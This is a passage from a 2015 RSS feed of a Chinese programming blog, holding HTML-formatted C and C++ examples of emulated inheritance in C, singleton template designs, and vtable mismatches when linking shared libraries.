/>&nbsp;&nbsp;&nbsp;&nbsp;p-&gt;name&nbsp;=&nbsp;(<span style="color: #0000FF; ">char</span>*)malloc(name_len);<br />&nbsp;&nbsp;&nbsp;&nbsp;p-&gt;life&nbsp;=&nbsp;Person_life;<br />&nbsp;&nbsp;&nbsp;&nbsp;p-&gt;live&nbsp;=&nbsp;Person_live;<br />&nbsp;&nbsp;&nbsp;&nbsp;p-&gt;derived_obj&nbsp;=&nbsp;NULL;<br />&nbsp;&nbsp;&nbsp;&nbsp;p-&gt;delete&nbsp;=&nbsp;delete_Person;<br />&nbsp;&nbsp;&nbsp;&nbsp;memcpy(p-&gt;name,&nbsp;name,&nbsp;name_len);<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;p;<br />}<br /><br /><span style="color: #008000; ">//</span><span style="color: #008000; ">-------------&nbsp;&nbsp;Employee&nbsp;&nbsp;--------------</span><span style="color: #008000; "><br /></span>typedef&nbsp;<span style="color: #0000FF; ">struct</span>&nbsp;Employee&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;Person*&nbsp;base_obj;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;id;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">void</span>&nbsp;(*work)(<span style="color: #0000FF; ">struct</span>&nbsp;Person*);<br />}&nbsp;Employee;<br /><br /><span style="color: #0000FF; ">void</span>&nbsp;Employee_live(Person*&nbsp;p)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;printf("As&nbsp;an&nbsp;employee(id:%d),&nbsp;I'm&nbsp;%s,&nbsp;I'd&nbsp;like&nbsp;to&nbsp;live&nbsp;near&nbsp;by&nbsp;company\n",&nbsp;((Employee*)p-&gt;derived_obj)-&gt;id,&nbsp;p-&gt;name);<br />}<br /><br /><span style="color: #0000FF; ">void</span>&nbsp;Employee_work(Person*&nbsp;p)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;printf("As&nbsp;an&nbsp;employee(id:%d),&nbsp;I'm&nbsp;%s,&nbsp;I'll&nbsp;try&nbsp;my&nbsp;best&nbsp;to&nbsp;work\n",&nbsp;((Employee*)p-&gt;derived_obj)-&gt;id,&nbsp;p-&gt;name);<br />}<br /><br /><span style="color: #0000FF; ">void</span>&nbsp;delete_Employee(Person*&nbsp;p)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;Employee*&nbsp;e&nbsp;=&nbsp;(Employee*)p-&gt;derived_obj;<br />&nbsp;&nbsp;&nbsp;&nbsp;delete_Person(p);<br />&nbsp;&nbsp;&nbsp;&nbsp;free(e);<br />}<br /><br />Employee*&nbsp;new_Employee(<span style="color: #0000FF; ">const</span>&nbsp;<span style="color: #0000FF; ">char</span>*&nbsp;name,&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;id)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;Employee*&nbsp;e&nbsp;=&nbsp;(Employee*)malloc(<span style="color: #0000FF; ">sizeof</span>(Employee));<br />&nbsp;&nbsp;&nbsp;&nbsp;e-&gt;base_obj&nbsp;=&nbsp;new_Person(name);<br />&nbsp;&nbsp;&nbsp;&nbsp;e-&gt;base_obj-&gt;derived_obj&nbsp;=&nbsp;e;<br />&nbsp;&nbsp;&nbsp;&nbsp;e-&gt;base_obj-&gt;delete&nbsp;=&nbsp;delete_Employee;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;e-&gt;base_obj-&gt;live&nbsp;=&nbsp;Employee_live;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;e-&gt;id&nbsp;=&nbsp;id;<br />&nbsp;&nbsp;&nbsp;&nbsp;e-&gt;work&nbsp;=&nbsp;Employee_work;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;e;<br />}<br /><br /><span style="color: #0000FF; ">#define</span>&nbsp;DYNAMIC_CAST(p,&nbsp;TYPE)&nbsp;((TYPE*)p-&gt;derived_obj)<br /><span style="color: #0000FF; ">#define</span>&nbsp;STATIC_CAST(p,&nbsp;TYPE)&nbsp;((TYPE*)p-&gt;base_obj)<br /><br /><span style="color: #0000FF; ">int</span>&nbsp;main(<span style="color: #0000FF; ">int</span>&nbsp;argc,&nbsp;<span style="color: #0000FF; ">const</span>&nbsp;<span style="color: #0000FF; ">char</span>*&nbsp;argv[])&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;Person*&nbsp;p&nbsp;=&nbsp;new_Person("bacoo");<br />&nbsp;&nbsp;&nbsp;&nbsp;Person*&nbsp;e&nbsp;=&nbsp;STATIC_CAST(new_Employee("lily",&nbsp;33),&nbsp;Person);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;printf("\n------&nbsp;Person&nbsp;------\n");<br />&nbsp;&nbsp;&nbsp;&nbsp;p-&gt;life(p);<br />&nbsp;&nbsp;&nbsp;&nbsp;p-&gt;live(p);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;printf("\n------&nbsp;Employee&nbsp;------\n");<br />&nbsp;&nbsp;&nbsp;&nbsp;e-&gt;life(e);&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">inherit&nbsp;Person::life</span><span style="color: #008000; "><br /></span>&nbsp;&nbsp;&nbsp;&nbsp;e-&gt;live(e);&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">override&nbsp;Person::live</span><span style="color: #008000; "><br /></span>&nbsp;&nbsp;&nbsp;&nbsp;DYNAMIC_CAST(e,&nbsp;Employee)-&gt;work(e);&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">new&nbsp;method&nbsp;Employee::work</span><span style="color: #008000; "><br /></span><br />&nbsp;&nbsp;&nbsp;&nbsp;p-&gt;delete(p);<br />&nbsp;&nbsp;&nbsp;&nbsp;e-&gt;delete(e);<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;0;<br />}</div><img src ="http://www.blogjava.net/bacoo/aggbug/426681.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2015-08-08 07:30 <a href="http://www.blogjava.net/bacoo/archive/2015/08/08/426681.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Singleton</title><link>http://www.blogjava.net/bacoo/archive/2015/07/03/426021.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Fri, 03 Jul 2015 03:57:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2015/07/03/426021.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/426021.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2015/07/03/426021.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/426021.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/426021.html</trackback:ping><description><![CDATA[<div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />-->#include&nbsp;&lt;iostream&gt;<br /><br /><span style="color: #0000FF; ">namespace</span>&nbsp;ImplMethod1&nbsp;{<br /><br /><span style="color: #008000; ">//</span><span style="color: #008000; ">Singleton&nbsp;template&nbsp;implementation:&nbsp;Method&nbsp;1</span><span style="color: #008000; "><br /></span>template&nbsp;&lt;typename&nbsp;T&gt;<br /><span style="color: #0000FF; ">class</span>&nbsp;Singleton&nbsp;{<br /><span style="color: #0000FF; ">public</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">static</span>&nbsp;T*&nbsp;GetInstance()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">You&nbsp;can&nbsp;consider&nbsp;thread-safe&nbsp;here&nbsp;if&nbsp;you&nbsp;will</span><span style="color: #008000; "><br /></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">static</span>&nbsp;T*&nbsp;s_ptr&nbsp;=&nbsp;<span style="color: #0000FF; ">new</span>&nbsp;T;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;s_ptr;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br /><span style="color: #0000FF; ">private</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;Singleton()&nbsp;{};<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">virtual</span>&nbsp;~Singleton()&nbsp;{};<br />&nbsp;&nbsp;&nbsp;&nbsp;Singleton(<span style="color: #0000FF; ">const</span>&nbsp;Singleton&amp;);<br />&nbsp;&nbsp;&nbsp;&nbsp;Singleton&amp;&nbsp;<span style="color: #0000FF; ">operator</span>=(<span style="color: #0000FF; ">const</span>&nbsp;Singleton&amp;);<br />};<br /><br /><span style="color: #008000; ">//</span><span style="color: #008000; ">How&nbsp;use&nbsp;it</span><span style="color: #008000; "><br /></span><span style="color: #0000FF; ">class</span>&nbsp;MyClass&nbsp;{<br /><span style="color: #0000FF; ">public</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">void</span>&nbsp;func()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;std::cout&nbsp;&lt;&lt;&nbsp;__PRETTY_FUNCTION__&nbsp;&lt;&lt;&nbsp;std::endl;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br /><span style="color: #0000FF; ">private</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;friend&nbsp;<span style="color: #0000FF; ">class</span>&nbsp;Singleton&lt;MyClass&gt;;<br />&nbsp;&nbsp;&nbsp;&nbsp;MyClass()&nbsp;{};<br />&nbsp;&nbsp;&nbsp;&nbsp;~MyClass()&nbsp;{};<br />&nbsp;&nbsp;&nbsp;&nbsp;MyClass(<span style="color: #0000FF; ">const</span>&nbsp;MyClass&amp;);<br />&nbsp;&nbsp;&nbsp;&nbsp;MyClass&amp;&nbsp;<span style="color: #0000FF; ">operator</span>=(<span style="color: #0000FF; ">const</span>&nbsp;MyClass&amp;);<br />};<br /><br />}&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">&nbsp;end&nbsp;of&nbsp;namespace&nbsp;ImplMethod1<br /><br /></span><span style="color: #008000; ">//</span><span style="color: #008000; ">---------------------------------------------------------------------------</span><span style="color: #008000; "><br /></span><br /><span style="color: #0000FF; ">namespace</span>&nbsp;ImplMethod2&nbsp;{<br /><br /><span style="color: #008000; ">//</span><span style="color: #008000; ">Singleton&nbsp;template&nbsp;implementation:&nbsp;Method&nbsp;2</span><span style="color: #008000; "><br /></span>template&nbsp;&lt;typename&nbsp;T&gt;<br /><span style="color: #0000FF; ">class</span>&nbsp;Singleton&nbsp;{<br /><span style="color: #0000FF; ">public</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">static</span>&nbsp;T*&nbsp;GetInstance()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">You&nbsp;can&nbsp;consider&nbsp;thread-safe&nbsp;here&nbsp;if&nbsp;you&nbsp;will</span><span style="color: #008000; "><br /></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">static</span>&nbsp;T*&nbsp;s_ptr&nbsp;=&nbsp;<span style="color: #0000FF; ">new</span>&nbsp;T;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;s_ptr;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br /><span style="color: #0000FF; ">protected</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;Singleton()&nbsp;{};<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">virtual</span>&nbsp;~Singleton()&nbsp;{};<br /><br /><span style="color: #0000FF; ">private</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;Singleton(<span style="color: #0000FF; ">const</span>&nbsp;Singleton&amp;);<br />&nbsp;&nbsp;&nbsp;&nbsp;Singleton&amp;&nbsp;<span style="color: #0000FF; ">operator</span>=(<span style="color: #0000FF; ">const</span>&nbsp;Singleton&amp;);<br />};<br /><br /><span style="color: #008000; ">//</span><span style="color: #008000; ">How&nbsp;use&nbsp;it</span><span style="color: #008000; "><br /></span><span style="color: #0000FF; ">class</span>&nbsp;MyClass:&nbsp;<span style="color: #0000FF; ">public</span>&nbsp;Singleton&lt;MyClass&gt;&nbsp;{<br /><span style="color: #0000FF; ">public</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">void</span>&nbsp;func()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;std::cout&nbsp;&lt;&lt;&nbsp;__PRETTY_FUNCTION__&nbsp;&lt;&lt;&nbsp;std::endl;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br /><span style="color: #0000FF; ">private</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;friend&nbsp;<span style="color: #0000FF; ">class</span>&nbsp;Singleton&lt;MyClass&gt;;<br />&nbsp;&nbsp;&nbsp;&nbsp;MyClass()&nbsp;{};<br />&nbsp;&nbsp;&nbsp;&nbsp;~MyClass()&nbsp;{};<br />};<br /><br />}&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">&nbsp;end&nbsp;of&nbsp;namespace&nbsp;ImplMethod2<br /><br /></span><span style="color: #008000; ">//</span><span style="color: #008000; ">---------------------------------------------------------------------------</span><span style="color: #008000; "><br /></span><br /><span style="color: #0000FF; ">namespace</span>&nbsp;ImplMethod3&nbsp;{<br /><br /><span style="color: #008000; ">//</span><span style="color: #008000; ">Singleton&nbsp;template&nbsp;implementation:&nbsp;Method&nbsp;3</span><span style="color: #008000; "><br /></span><span style="color: #0000FF; ">class</span>&nbsp;LazyInstantiation&nbsp;{<br /><span style="color: #0000FF; ">protected</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;template&nbsp;&lt;typename&nbsp;T&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">static</span>&nbsp;T*&nbsp;CreateInstance(T*&nbsp;dummy)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">You&nbsp;can&nbsp;consider&nbsp;thread-safe&nbsp;here&nbsp;if&nbsp;you&nbsp;will</span><span style="color: #008000; "><br /></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;<span style="color: #0000FF; ">new</span>&nbsp;T;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">virtual</span>&nbsp;~LazyInstantiation()&nbsp;{};<br />};<br /><br />template&nbsp;&lt;typename&nbsp;T,&nbsp;typename&nbsp;InstantiationPolicy&nbsp;=&nbsp;LazyInstantiation&gt;<br /><span style="color: #0000FF; ">class</span>&nbsp;Singleton&nbsp;:&nbsp;<span style="color: #0000FF; ">public</span>&nbsp;InstantiationPolicy&nbsp;{<br /><span style="color: #0000FF; ">public</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">static</span>&nbsp;T*&nbsp;GetInstance()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">You&nbsp;can&nbsp;consider&nbsp;thread-safe&nbsp;here&nbsp;if&nbsp;you&nbsp;will</span><span style="color: #008000; "><br /></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">static</span>&nbsp;T*&nbsp;s_ptr&nbsp;=&nbsp;InstantiationPolicy::CreateInstance((T*)NULL);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;s_ptr;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br /><span style="color: #0000FF; ">protected</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;Singleton()&nbsp;{};<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">virtual</span>&nbsp;~Singleton()&nbsp;{};<br /><br /><span style="color: #0000FF; ">private</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;Singleton(<span style="color: #0000FF; ">const</span>&nbsp;Singleton&amp;);<br />&nbsp;&nbsp;&nbsp;&nbsp;Singleton&amp;&nbsp;<span style="color: #0000FF; ">operator</span>=(<span style="color: #0000FF; ">const</span>&nbsp;Singleton&amp;);<br />};<br /><br /><span style="color: #008000; ">//</span><span style="color: #008000; ">How&nbsp;use&nbsp;it</span><span style="color: #008000; "><br /></span><span style="color: #0000FF; ">class</span>&nbsp;MyClass:&nbsp;<span style="color: #0000FF; ">public</span>&nbsp;Singleton&lt;MyClass&gt;&nbsp;{<br /><span style="color: #0000FF; ">public</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">void</span>&nbsp;func()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;std::cout&nbsp;&lt;&lt;&nbsp;__PRETTY_FUNCTION__&nbsp;&lt;&lt;&nbsp;std::endl;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br /><span style="color: #0000FF; ">private</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;friend&nbsp;<span style="color: #0000FF; ">class</span>&nbsp;LazyInstantiation;<br />&nbsp;&nbsp;&nbsp;&nbsp;MyClass()&nbsp;{};<br />&nbsp;&nbsp;&nbsp;&nbsp;~MyClass()&nbsp;{};<br />};<br /><br />}&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">&nbsp;end&nbsp;of&nbsp;namespace&nbsp;ImplMethod3<br /><br /></span><span style="color: #008000; ">//</span><span style="color: #008000; ">---------------------------------------------------------------------------</span><span style="color: #008000; "><br /></span><br /><span style="color: #008000; ">/*</span><span style="color: #008000; ">*<br />&nbsp;*&nbsp;分析：<br />&nbsp;*&nbsp;方法1不需要继承，但不能直观的通过MyClass::GetInstance来获取实例，且在MyClass里需要将拷贝构造以及operator=声明为private；<br />&nbsp;*&nbsp;方法2通过继承的方式，比方法1好；<br />&nbsp;*&nbsp;方法3在方法2的基础上，进行了巧妙的扩展，可以让用户自定InstantiationPolicy，可以支持一些有特殊构造函数的类；<br />&nbsp;*<br />&nbsp;*&nbsp;结论：<br />&nbsp;*&nbsp;综合来看，方法2简单易用，方法3实现成本稍高，但比方法2又精进了一步。<br />&nbsp;</span><span style="color: #008000; ">*/</span><br /><span style="color: #0000FF; ">int</span>&nbsp;main(<span style="color: #0000FF; ">int</span>&nbsp;argc,&nbsp;<span style="color: #0000FF; ">char</span>*&nbsp;argv[])&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;ImplMethod1::MyClass*&nbsp;p1&nbsp;=&nbsp;ImplMethod1::Singleton&lt;ImplMethod1::MyClass&gt;::GetInstance();<br />&nbsp;&nbsp;&nbsp;&nbsp;p1-&gt;func();<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;ImplMethod2::MyClass*&nbsp;p2&nbsp;=&nbsp;ImplMethod2::MyClass::GetInstance();<br />&nbsp;&nbsp;&nbsp;&nbsp;p2-&gt;func();<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;ImplMethod3::MyClass*&nbsp;p3&nbsp;=&nbsp;ImplMethod3::MyClass::GetInstance();<br />&nbsp;&nbsp;&nbsp;&nbsp;p3-&gt;func();<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;0;<br />}</div><img src ="http://www.blogjava.net/bacoo/aggbug/426021.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2015-07-03 11:57 <a href="http://www.blogjava.net/bacoo/archive/2015/07/03/426021.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>some notes on linking with shared library</title><link>http://www.blogjava.net/bacoo/archive/2015/03/12/423417.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Thu, 12 Mar 2015 12:50:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2015/03/12/423417.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/423417.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2015/03/12/423417.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/423417.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/423417.html</trackback:ping><description><![CDATA[<div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />-->==&gt;&nbsp;Object.h&nbsp;&lt;==<br />#include&nbsp;&lt;stdio.h&gt;<br /><br /><span style="color: #0000FF; ">class</span>&nbsp;Object&nbsp;{<br /><span style="color: #0000FF; ">public</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;Object();<br />#ifdef&nbsp;TEST<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">void</span>&nbsp;NoneVirtualFunc()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("%s,&nbsp;size&nbsp;of&nbsp;class:%lu\n",&nbsp;__PRETTY_FUNCTION__,&nbsp;<span style="color: #0000FF; ">sizeof</span>(Object));<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #0000FF; ">#endif</span><br /><br />#ifdef&nbsp;TEST<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">virtual</span>&nbsp;<span style="color: #0000FF; ">void</span>&nbsp;Func2();<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">virtual</span>&nbsp;<span style="color: #0000FF; ">void</span>&nbsp;Func1();<br /><span style="color: #0000FF; ">#else</span><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">virtual</span>&nbsp;<span style="color: #0000FF; ">void</span>&nbsp;Func1();<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">virtual</span>&nbsp;<span style="color: #0000FF; ">void</span>&nbsp;Func2();<br /><span style="color: #0000FF; ">#endif</span><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">virtual</span>&nbsp;<span style="color: #0000FF; ">void</span>&nbsp;Access();<br /><br />#ifdef&nbsp;TEST<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">void</span>&nbsp;SetOther(<span style="color: #0000FF; ">int</span>&nbsp;other)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_other&nbsp;=&nbsp;other;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">virtual</span>&nbsp;<span style="color: #0000FF; ">void</span>&nbsp;Other()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("%s\n",&nbsp;__PRETTY_FUNCTION__);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #0000FF; ">#endif</span><br /><br /><span style="color: #0000FF; ">private</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;m_i1;<br />#ifdef&nbsp;TEST<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;m_other;<br /><span style="color: #0000FF; ">#endif</span><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;m_i2;<br />};<br /><br />==&gt;&nbsp;Object.cpp&nbsp;&lt;==<br />#include&nbsp;"Object.h"<br /><br />Object::Object():&nbsp;m_i1(1),&nbsp;m_i2(2)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;printf("%s,&nbsp;constructor&nbsp;init,&nbsp;i1:%d,&nbsp;i2:%d\n",&nbsp;__PRETTY_FUNCTION__,&nbsp;m_i1,&nbsp;m_i2);<br />}<br /><br /><span style="color: #0000FF; ">void</span>&nbsp;Object::Func1()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;printf("%s\n",&nbsp;__PRETTY_FUNCTION__);<br />}<br /><br /><span style="color: #0000FF; ">void</span>&nbsp;Object::Func2()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;printf("%s\n",&nbsp;__PRETTY_FUNCTION__);<br />}<br /><br /><span style="color: #0000FF; ">void</span>&nbsp;Object::Access()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;printf("%s,&nbsp;size&nbsp;of&nbsp;class:%lu,&nbsp;i1:%d,&nbsp;i2:%d\n",&nbsp;__PRETTY_FUNCTION__,&nbsp;<span style="color: #0000FF; ">sizeof</span>(Object),&nbsp;m_i1,&nbsp;m_i2);<br />}<br /><br />==&gt;&nbsp;test.cpp&nbsp;&lt;==<br />#include&nbsp;"Object.h"<br /><br /><span style="color: #008000; ">//</span><span style="color: #008000; ">for&nbsp;more&nbsp;details&nbsp;about&nbsp;vtable,&nbsp;see:&nbsp;</span><span style="color: #008000; text-decoration: underline; ">http://blog.csdn.net/haoel/article/details/1948051</span><span style="color: #008000; "><br /></span><br /><span style="color: #0000FF; ">int</span>&nbsp;main(<span style="color: #0000FF; ">int</span>&nbsp;argc,&nbsp;<span style="color: #0000FF; ">char</span>*&nbsp;argv[])&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;Object*&nbsp;obj&nbsp;=&nbsp;<span style="color: #0000FF; ">new</span>&nbsp;Object();<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;obj-&gt;Func1();<br />&nbsp;&nbsp;&nbsp;&nbsp;obj-&gt;Func2();<br />#ifdef&nbsp;TEST<br />&nbsp;&nbsp;&nbsp;&nbsp;obj-&gt;SetOther(1000);<br /><span style="color: #0000FF; ">#endif</span><br />&nbsp;&nbsp;&nbsp;&nbsp;obj-&gt;Access();<br /><br />#ifdef&nbsp;TEST<br />&nbsp;&nbsp;&nbsp;&nbsp;obj-&gt;NoneVirtualFunc();<br />&nbsp;&nbsp;&nbsp;&nbsp;obj-&gt;Other();&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">segmentation&nbsp;fault</span><span style="color: #008000; "><br /></span><span style="color: #0000FF; ">#endif</span><br /><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;0;<br />}<br /><br /><br />==&gt;&nbsp;Makefile&nbsp;&lt;==<br />all:<br />&nbsp;&nbsp;&nbsp;&nbsp;@g++&nbsp;-g&nbsp;-fPIC&nbsp;-o&nbsp;Object.o&nbsp;-fno-rtti&nbsp;-c&nbsp;Object.cpp<br />&nbsp;&nbsp;&nbsp;&nbsp;@g++&nbsp;-shared&nbsp;-o&nbsp;libObject.so&nbsp;Object.o<br />&nbsp;&nbsp;&nbsp;&nbsp;@g++&nbsp;-g&nbsp;-Wall&nbsp;test.cpp&nbsp;-o&nbsp;test&nbsp;-L.&nbsp;-lObject&nbsp;-Wl,-rpath=.<br />&nbsp;&nbsp;&nbsp;&nbsp;@./test<br />&nbsp;&nbsp;&nbsp;&nbsp;@rm&nbsp;-f&nbsp;test&nbsp;*.o&nbsp;*.so&nbsp;core*<br /><br /><br />test:<br />&nbsp;&nbsp;&nbsp;&nbsp;@g++&nbsp;-g&nbsp;-fPIC&nbsp;-o&nbsp;Object.o&nbsp;-fno-rtti&nbsp;-c&nbsp;Object.cpp<br />&nbsp;&nbsp;&nbsp;&nbsp;@g++&nbsp;-shared&nbsp;-o&nbsp;libObject.so&nbsp;Object.o<br />&nbsp;&nbsp;&nbsp;&nbsp;@g++&nbsp;-g&nbsp;-Wall&nbsp;test.cpp&nbsp;-o&nbsp;test&nbsp;-L.&nbsp;-lObject&nbsp;-Wl,-rpath=.&nbsp;-DTEST<br />&nbsp;&nbsp;&nbsp;&nbsp;@./test<br />&nbsp;&nbsp;&nbsp;&nbsp;@rm&nbsp;-f&nbsp;test&nbsp;*.o&nbsp;*.so&nbsp;core*<br /><br />==&gt;&nbsp;RESULT&nbsp;&lt;==<br />$&nbsp;make<br />Object::Object(),&nbsp;constructor&nbsp;init,&nbsp;i1:1,&nbsp;i2:2<br /><span style="color: #0000FF; ">virtual</span>&nbsp;<span style="color: 